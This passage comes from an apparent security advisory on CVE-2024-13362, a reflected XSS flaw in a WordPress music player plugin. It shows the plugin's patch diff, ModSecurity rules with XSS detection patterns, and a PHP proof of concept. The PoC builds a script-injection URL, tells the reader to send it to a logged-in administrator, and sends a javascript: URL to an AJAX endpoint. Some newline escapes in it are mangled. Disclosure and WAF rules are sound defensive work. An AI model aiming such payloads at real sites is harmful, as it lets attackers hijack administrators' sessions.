 			     ( $fs_active_plugins->newest->in_activation ||
 			       ( class_exists( 'Freemius' ) && ( ! defined( 'WP_FS__SDK_VERSION' ) || version_compare( WP_FS__SDK_VERSION, $this_sdk_version, '<' ) ) )
@@ -313,7 +375,7 @@
 		return;
 	}

-	if ( version_compare( $this_sdk_version, $fs_active_plugins->newest->version, '<' ) ) {
+	if ( isset( $fs_active_plugins->newest ) && version_compare( $this_sdk_version, $fs_active_plugins->newest->version, '<' ) ) {
 		$newest_sdk = $fs_active_plugins->plugins[ $fs_active_plugins->newest->sdk_path ];

 		$plugins_or_theme_dir_path = ( ! isset( $newest_sdk->type ) || 'theme' !== $newest_sdk->type ) ?
--- a/music-player-for-elementor/freemius/templates/forms/license-activation.php
+++ b/music-player-for-elementor/freemius/templates/forms/license-activation.php
@@ -569,7 +569,7 @@
 				        licenseKey = $otherLicenseKey.val();
                     } else {
 				        if ( ! hasLicensesDropdown ) {
-                            licenseID = $availableLicenseKey.data( 'id' );
+                            licenseID = $availableLicenseKey.data( 'id' ).toString();
                         } else {
                             licenseID = $licensesDropdown.val();
                         }
--- a/music-player-for-elementor/freemius/templates/pricing.php
+++ b/music-player-for-elementor/freemius/templates/pricing.php
@@ -69,6 +69,11 @@

     wp_enqueue_script( 'freemius-pricing', $pricing_js_url );

+    $pricing_css_path = $fs->apply_filters( 'pricing/css_path', null );
+    if ( is_string( $pricing_css_path ) ) {
+        wp_enqueue_style( 'freemius-pricing', fs_asset_url( $pricing_css_path ) );
+    }
+
 	$has_tabs = $fs->_add_tabs_before_content();

 	if ( $has_tabs ) {
@@ -95,6 +100,8 @@
             'unique_affix'           => $fs->get_unique_affix(),
             'show_annual_in_monthly' => $fs->apply_filters( 'pricing/show_annual_in_monthly', true ),
             'license'                => $fs->has_active_valid_license() ? $fs->_get_license() : null,
+            'plugin_icon'            => $fs->get_local_icon_url(),
+            'disable_single_package' => $fs->apply_filters( 'pricing/disable_single_package', false ),
         ), $query_params );

         wp_add_inline_script( 'freemius-pricing', 'Freemius.pricing.new( ' . json_encode( $pricing_config ) . ' )' );
--- a/music-player-for-elementor/music-player-for-elementor.php
+++ b/music-player-for-elementor/music-player-for-elementor.php
@@ -4,9 +4,9 @@
  * Plugin Name: Music Player for Elementor
  * Plugin URI: https://smartwpress.com/music-player-for-elementor-wordpress-plugin/
  * Description: Music Player For Elementor is a stylish audio player addon for Elementor. Promote your music with an easy to use and highly customizable mp3 player and audio player.
- * Version: 2.4.1
- * Tested up to: 6.6
- * Elementor tested up to: 3.24
+ * Version: 2.4.4
+ * Tested up to: 6.7.1
+ * Elementor tested up to: 3.27.1
  * Author: SmartWPress
  * Author URI: https://www.smartwpress.com
  * Text Domain: music-player-for-elementor
@@ -14,6 +14,9 @@
  * License: GNU General Public License version 2.0
  * License URI: http://www.gnu.org/licenses/gpl-2.0.html
  */
+if ( !defined( 'ABSPATH' ) ) {
+    exit;
+}
 if ( !function_exists( 'mpfe_fs' ) ) {
     // Create a helper function for easy SDK access.
     function mpfe_fs() {
@@ -49,11 +52,8 @@
     // Signal that SDK was initiated.
     do_action( 'mpfe_fs_loaded' );
 }
-if ( !defined( 'ABSPATH' ) ) {
-    exit;
-}
 if ( !defined( 'MPFE_VERSION' ) ) {
-    define( 'MPFE_VERSION', '2.4.1' );
+    define( 'MPFE_VERSION', '2.4.4' );
 }
 if ( !defined( 'MPFE_DIR_PATH' ) ) {
     define( 'MPFE_DIR_PATH', plugin_dir_path( __FILE__ ) );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2024-13362
# This rule blocks XSS attempts via the url parameter in the vulnerable admin page
SecRule REQUEST_URI "@streq /wp-admin/admin.php" 
  "id:20240001,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 - Reflected XSS via url parameter - Atomic Edge WAF Rule',severity:'CRITICAL',tag:'CVE-2024-13362'"
  SecRule ARGS_GET:page "@streq mpfe-dashboard" "chain"
    SecRule ARGS_GET:url "@rx (<|>|%3C|%3E|script|onerror|onload|alert|prompt|confirm)" "t:none,t:urlDecode"

# Block XSS in the template import AJAX endpoint
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20240002,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 - Reflected XSS via AJAX url parameter - Atomic Edge WAF Rule',severity:'CRITICAL',tag:'CVE-2024-13362'"
  SecRule ARGS_POST:action "@streq mpfe_import_template" "chain"
    SecRule ARGS_POST:url "@rx (<|>|%3C|%3E|script|javascript:|vbscript:|data:)" "t:none,t:urlDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter

$target_url = 'http://example.com'; // CHANGE THIS to your target WordPress site

// The vulnerable endpoint is typically in the admin area
// The url parameter is reflected without sanitization
$endpoint = '/wp-admin/admin.php?page=mpfe-dashboard&url=';

// XSS payload that will execute in the admin's browser
$payload = '"><script>alert("XSS by Atomic Edge")</script>';

$full_url = $target_url . $endpoint . urlencode($payload);

echo "[+] CVE-2024-13362 Proof of Conceptn";
echo "[+] Target: $target_urln";
echo "[+] Exploit URL: $full_urlnn";

echo "[!] Instructions:n";
echo "1. Send the above URL to a logged-in WordPress administratorn";
echo "2. When they click the link, the XSS payload will executen";
echo "3. The alert box 'XSS by Atomic Edge' will appear if vulnerablenn";

// Alternative: Direct AJAX exploitation via template import
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$action = 'mpfe_import_template';
$import_url = 'javascript:alert("XSS via url parameter")';

$post_data = [
    'action' => $action,
    'import_nonce' => 'injected', // Nonce check might be bypassed if unauthenticated
    'url' => $import_url
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_logged_in_xxx=test'); // Optional: use real cookie if available

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] AJAX Response Code: $http_coden";
echo "[+] AJAX Response Body: $responsen";

?>

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